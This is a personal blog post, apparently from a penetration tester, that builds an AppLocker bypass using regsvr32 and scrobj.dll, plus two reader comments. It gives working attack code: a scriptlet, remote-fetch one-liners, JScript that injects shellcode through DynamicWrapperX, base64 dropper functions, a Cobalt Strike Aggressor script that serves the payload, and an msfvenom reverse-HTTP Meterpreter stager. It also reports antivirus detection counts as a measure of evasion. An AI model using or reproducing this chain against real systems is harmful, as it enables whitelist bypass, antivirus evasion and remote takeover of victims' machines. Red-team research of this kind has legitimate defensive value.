playing with the regsvr32 applocker bypass

i was inspired to play around with the regsvr32 applocker bypass by reading this article published on the excellent “penetration testing lab” blog.

when i first read the blog entry, and a few other articles on the subject, i mistakenly thought that it would allow for the execution of exe files under applocker.  it’s an easy mistake to make.  unfortunately it is not the case!  this particular bypass ‘only’ enables the execution of scripts, such as jscript and vbscript

ok, first the basics. using a script just like the one on the “pen test lab” blog, i checked that i could run a jscript file

var r = new ActiveXObject("WScript.Shell").Run("cmd /k echo foo");

unsurprisingly, this popped a cmd window that says “foo”.  good.  i then configured default applocker rules on my pentesting lab’s dc, and then pushed the changes to my workstation.  what happens now?

again, unsurprising.  so now let’s package the jscript up in preparation for the bypass, in a file called command.sct:

<?XML version="1.0"?>
<scriptlet>
<registration 
progid="foo" 
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<script language="JScript">
<![CDATA[ 
var r = new ActiveXObject("WScript.Shell").Run("cmd /k echo foo"); 
]]>
</script>
</registration>
</scriptlet>

and the bypass command itself:

regsvr32 /u /n /s /i:command.sct scrobj.dll

alright then, it definitely works.  and it’s a beauty because we can point it at a remote script, it’s proxy-aware, it’s ssl-capable, it leaves hardly any forensic traces, and the file extension can be anything.  for example:

regsvr32 /u /n /s /i:https://totally-legit.com/news.html scrobj.dll

but what can we DO with this?  we still can’t execute an exe, we can ‘only’ use jscript and vbscript

the pen test lab guys suggested a couple of things:

  1. powershell web delivery.  this proposition begs the question: “but why don’t we just do that to begin with”.  the regsvr32 bypass won’t unblock powershell.exe if it’s blocked, and if it’s unblocked then we don’t need regsvr32 at all!  so let’s proceed as if powershell.exe was locked down, to make things more interesting, eh?
  2. download and execute an exe.  again, if we have the capability to execute an exe file, why don’t we just download it normally?  no, the problem is that we’re operating in an applocker-controlled environment, and we won’t be able to execute any old exe file.  and let’s proceed as if we can’t just stick the exe in %TEMP% and run it, again to make things more interesting

so what can we do with this scripting capability that perpetrates untold evilness, but isn’t going to need to run an exe, or to run powershell?

well, we can do lots of funky stuff with activex, LOTS as i learned today.  in fact i might try my hand at writing a malware agent using jscript at some point!  but while i was at the beginning of this journey i thought to myself ‘shellcode‘.

yes, i wanted to run arbitrary shellcode using this whitelist bypass <rubs hands>

initial hopes dashed

i found a really old blog post from 2008 by a guy called didier stevens, which seemed to be showing shellcode being executed from vbscript.  there was also a really cool companion script (dated 2015) that takes shellcode and generates a vbscript to run it.

unfortunately, through testing, it turned out that this wasn’t the sort of ‘vbscript’ that regsvr32 could use…  this sort of script was more heavyweight vba, and needed to be run within some sort of vba container.

further digging showed that a guy called casey smith, aka ‘subtee’ had done just that, using vbscript to execute the vba to run shellcode within the context of an excel spreadsheet!  really awesome, but i didn’t want to introduce such a dependency, and i don’t own ms office anyway.  damn! 🙂

dynamic wrapper x

i needed a way for normal vbscript, or jscript, to invoke the necessary windows apis that would allow shellcode invocation.  allocating memory pages, setting page permissions, writing the shellcode there, creating a thread and starting it at the correct point…

enter dynamic wrapper x, by a russian guy called yuri popov!  from his own description:

DynamicWrapperX - is an ActiveX component that you can use in a script (JScript, VBScript, etc.) to call:
- functions from a DLL (eg Windows API functions);
- in general any function whose address in memory known to you;
- functions whose native code (as a hex-string) you have available.

wow, that’s exactly what was needed!

further searching on this subject sent me right back into the arms of casey smith, who already had a poc for executing shellcode using regsvr32 and dynamicwrapperx!  here are the interesting parts, minus the regsvr32 boilerplate:

DX = new ActiveXObject("DynamicWrapperX"); // Create an object instance.
DX.Register("kernel32.dll", "VirtualAlloc", "i=luuu", "r=u");
var memLocation = DX.VirtualAlloc(0, 0x1000, 0x1000, 0x40 );
DX.Register("kernel32.dll", "GetCurrentProcess", "r=h");    
var procHandle = DX.GetCurrentProcess(); 
var scLocation = DX.VirtualAlloc(0, 0x1000, 0x1000, 0x40 );		

//msfvenom -p windows/exec -a x86 --platform win -e x86/shikata_ga_nai -f csharp CMD=calc.exe EXITFUNC=thread 
var sc = [0xdd,0xc6,0xb8,0x50,0x6e,0xc4,0xe2,0xd9,0x74,0x24,0xf4,0x5b,0x2b,0xc9,0xb1,...

for(var i = 0; i < sc.length; i++) {
    DX.NumPut(sc[i],scLocation,i);
}
DX.Register("kernel32.dll","CreateThread","i=uullu","r=u" );
var thread = DX.CreateThread(0,0,scLocation,0,0);

DX.Register("kernel32.dll", "WaitForSingleObject", "i=uu", "r=u");
DX.WaitForSingleObject(thread,0xFFFFFFFF);

i ran the poc (both locally and remotely) and it popped a calculator both times as expected.  woo! 😀

the dll registration problem

but… this needs the dynamicwrapperx.dll to be installed and registered… urgh. :-/ rather amusingly, the dll registration would seemingly need to be done via regsvr32! :-p

nosing through casey smith’s gists some more, i noticed something amazing: he’d also found a way to bypass the need to register the dll!

the unfortunate need to write to disk

i’d originally hoped that i’d end up with something that didn’t touch disk AT ALL.  and here we are, needing to drop TWO artifacts – a dll and a manifest – to disk…

furthermore, the day after i made this blog post a kind commentator let me know that the script itself would be written to a temp location and scanned, and which i verified with procmon

however, the dll has a detection rate of 0 on virustotal

..and the script is only detected by 2/5 (as HEUR:Trojan.Script.Generic)

so it’s not soooo bad 🙂 but anyway, as the commentator pointed out…  this is not supposed to be for stealth, it’s for bypass!  it is good for delivery convenience to have it all packaged up neatly in one file though

let it be noted that i was not the first chap to submit the dll to virustotal!  somebody beat me to it, as you can see

cribbing from other sources (because i’m not overly familiar with jscript), i fashioned the dropper functions.  i look to see whether the files exist before writing them, because if the dll is in usage already, by a previous long-running invocation of the exploit for example, then it’s locked and the script fails

function atob(base64) {
    var xmlObj = new ActiveXObject("MSXml2.DOMDocument");
    var docElement = xmlObj.createElement("Base64Data");
    docElement.dataType = "bin.base64";
    docElement.text = base64;
    return docElement.nodeTypedValue;
}

function write(content, to) { 
    var outputStream = new ActiveXObject("ADODB.Stream");
    outputStream.Type = 1; // 1 => binary 
    outputStream.Open();
    outputStream.Write(content);
    outputStream.SaveToFile(to, 2); // 2 => overwrite if exists (will fail if dll is in use)
    outputStream.Close();
}

function createManifest() {
    var dynwrap_manifest_b64 = "PD94bWwg...
    var dynwrap_manifest = atob(dynwrap_manifest_b64);
    write(dynwrap_manifest, "dynwrap.manifest");
}

function createDLL() {
    var dynwrapx_dll_b64 = "TVpsAAEA...
    var dynwrapx_dll = atob(dynwrapx_dll_b64);
    write(dynwrapx_dll, "dynwrapx.dll", 1);
}

var fileSystem = new ActiveXObject("Scripting.FileSystemObject");
if (! fileSystem.fileExists("dynwrap.manifest")) {
    createManifest();
}
if (! fileSystem.fileExists("dynwrapx.dll")) {
    createDLL();
}

are we good yet?

yep, now we have pretty much everything we need!

  • a way of invoking windows api calls (the dynamic wrapper x dll)
  • a way of avoiding the registration of the dll (using a manifest)
  • a dropper for the required files (dll + manifest)
  • 0 hits on virustotal

but let’s get some bonus learning – cobalt strike integration!

what i really wanted was a way to dynamically and conveniently package ANY shellcode into this kind of envelope, host it on a webserver, and be supplied with a nice little regsvr32 command that i could just copy paste on-target…  cobalt strike would be perfect for this

one of my near-term aims is to become a cobalt strike expert.  it’s a great tool, and i had the honor of meeting its author, raphael mudge,  quite recently.  i’ve used it a fair bit in red teaming exercises and whatnot, so it’s certainly no stranger to me.  and i’ve certainly leveraged the power of pre-existing cna scripts, but i’ve never written one myself.  so now seemed like as good a time as any!

cobalt strike’s underlying scripting language is called ‘sleep‘, and its higher level interface integration scripting language is called ‘aggressor script‘.  i just dived in and started flailing around until it became clear what was what 🙂

sub create_sct {
    local('$shellcode $shellcode_length $handle $sct');
    $shellcode = $1;
    $shellcode_length = $2;

    $handle = openf("/root/cobalt-strike/scripts/regsvr32.sct");
    $sct = readb($handle, -1);
    closef($handle);

    $sct = replace($sct, "%%SHELLCODE%%", $shellcode);
    $sct = replace($sct, "%%SHELLCODE_LENGTH%%", $shellcode_length);

    return $sct;
}

sub read_shellcode {
    local('$filename $handle $shellcode');
    $filename = $1;

    $handle = openf($filename);
    $shellcode = readb($handle, -1);
    closef($handle);

    return $shellcode;
}

sub encode_shellcode {
    local('$shellcode $encoded');
    $shellcode = $1;

    $encoded = unpack("H*", $shellcode)[0];
    $encoded = replace($encoded, "(..)", "0x\$0,");
    $encoded = substr($encoded, 0, strlen($encoded2) - 1);

    return $encoded;
}

sub setup_attack {
    local('%options $file $shellcode $shellcode_length $template');
    %options = $3;

    $file = %options["file"];
    $shellcode = read_shellcode($file);
    $shellcode_length = strlen($shellcode);
    $payload = encode_shellcode($shellcode);
    $template = create_sct($payload, $shellcode_length);

    $url = site_host(%options["host"], %options["port"], %options["uri"], $template, "text/plain", "regsvr32 /u /n /s /i:<url> scrobj.dll");
    $command = "regsvr32 /u /n /s /i:" . $url . " scrobj.dll";
    prompt_text("One-liner: ", $command, {});
}

popup attacks {
    item "regsvr32 applocker bypass" {
        local('$dialog %defaults');

        %defaults["uri"] = "/bananas.html";
        %defaults["host"] = localip();
        %defaults["port"] = 80;

        $dialog = dialog("regsvr32 applocker bypass", %defaults, &setup_attack);
        dialog_description($dialog, "regsvr32");
        drow_file($dialog, "file", "File:");
        drow_text($dialog, "uri", "URI Path:");
        drow_text($dialog, "host", "Local Host:");
        drow_text($dialog, "port", "Local Port:");
        dbutton_action($dialog, "Launch");

        dialog_show($dialog);
    }
}

putting it all together

first let’s make some shellcode to establish a beacon.  we can imagine our situation being that we have landed an rdp foothold and would now like to get our malware agent on there.  but, oh no, applocker is turned on and we can’t execute exes or scripts anywhere!  what’s a hacker to do?  😀

unfortunately, for reasons that eluded me within the day i spent on this project, cobalt strike’s raw (which i presumed to be shellcode) stageless beacon payload (all 240k of it) didn’t work.  but, no matter, cobalt strike is compatible with metasploit stagers, so we can use the shellcode for that…

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_http LHOST=192.168.56.101 LPORT=80 EXITFUNC=thread -f raw > stager.bin

great, now let’s package that payload in the delivery envelope and host it on cobalt strike!

we copy-paste the one-liner onto the target:

back on cobalt strike, thar she blows:

the files are available on github

what could be improved

  • i don’t like writing files to disk much.  it would be great to get away without doing that…  a reflective dll loader would sort half of it out, but then i’d be left with the problem of the manifest…  something to think about another day.  although reflective dll loading is a massive red flag for AV (as if reserving RWX memory and starting a new thread pointing at it wasn’t already!), i wouldn’t mind knocking one up, just for the experience
  • dynamic renaming of the dll and manifest.  having such fixed names does not seem at all discreet
  • any other ideas?  please do comment!

in summary

all in all, a very interesting day’s work.  i learned a ton!  and i was supposed to be doing something completely different – studying an offensive powershell course! 😀  tomorrow…

finally, please be aware that all i really did here in the end was do a lot of googling and looking at other folks’ stuff, and then simply gluing it all together 🙂  nothing original from me here.  massive props to casey smith aka subtee for his amazing work, pen test lab for getting me all interested in regsvr32, and to the authors of the the countless other sources i used to bollock it all together 😀 

8 thoughts on “playing with the regsvr32 applocker bypass

  1. SCT files are downloaded in IE TEMP folder like any other web resource and it will be scanned on HTTP request by most of the AV solutions before regsvr32.exe can access it. This is not that stealth as it is good bypass.

    1. thanks for the comment! using procmon i can see the file being created in C:\Users\alice\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6TF8LKZW\bananas[1].html

      virustotal shows 2/56 detections on the sct file (kaspersky and zonealarm), both as HEUR:Trojan.Script.Generic. when i get a spare moment i’ll try to figure out which part is making them trip

Leave a Reply

Your email address will not be published. Required fields are marked *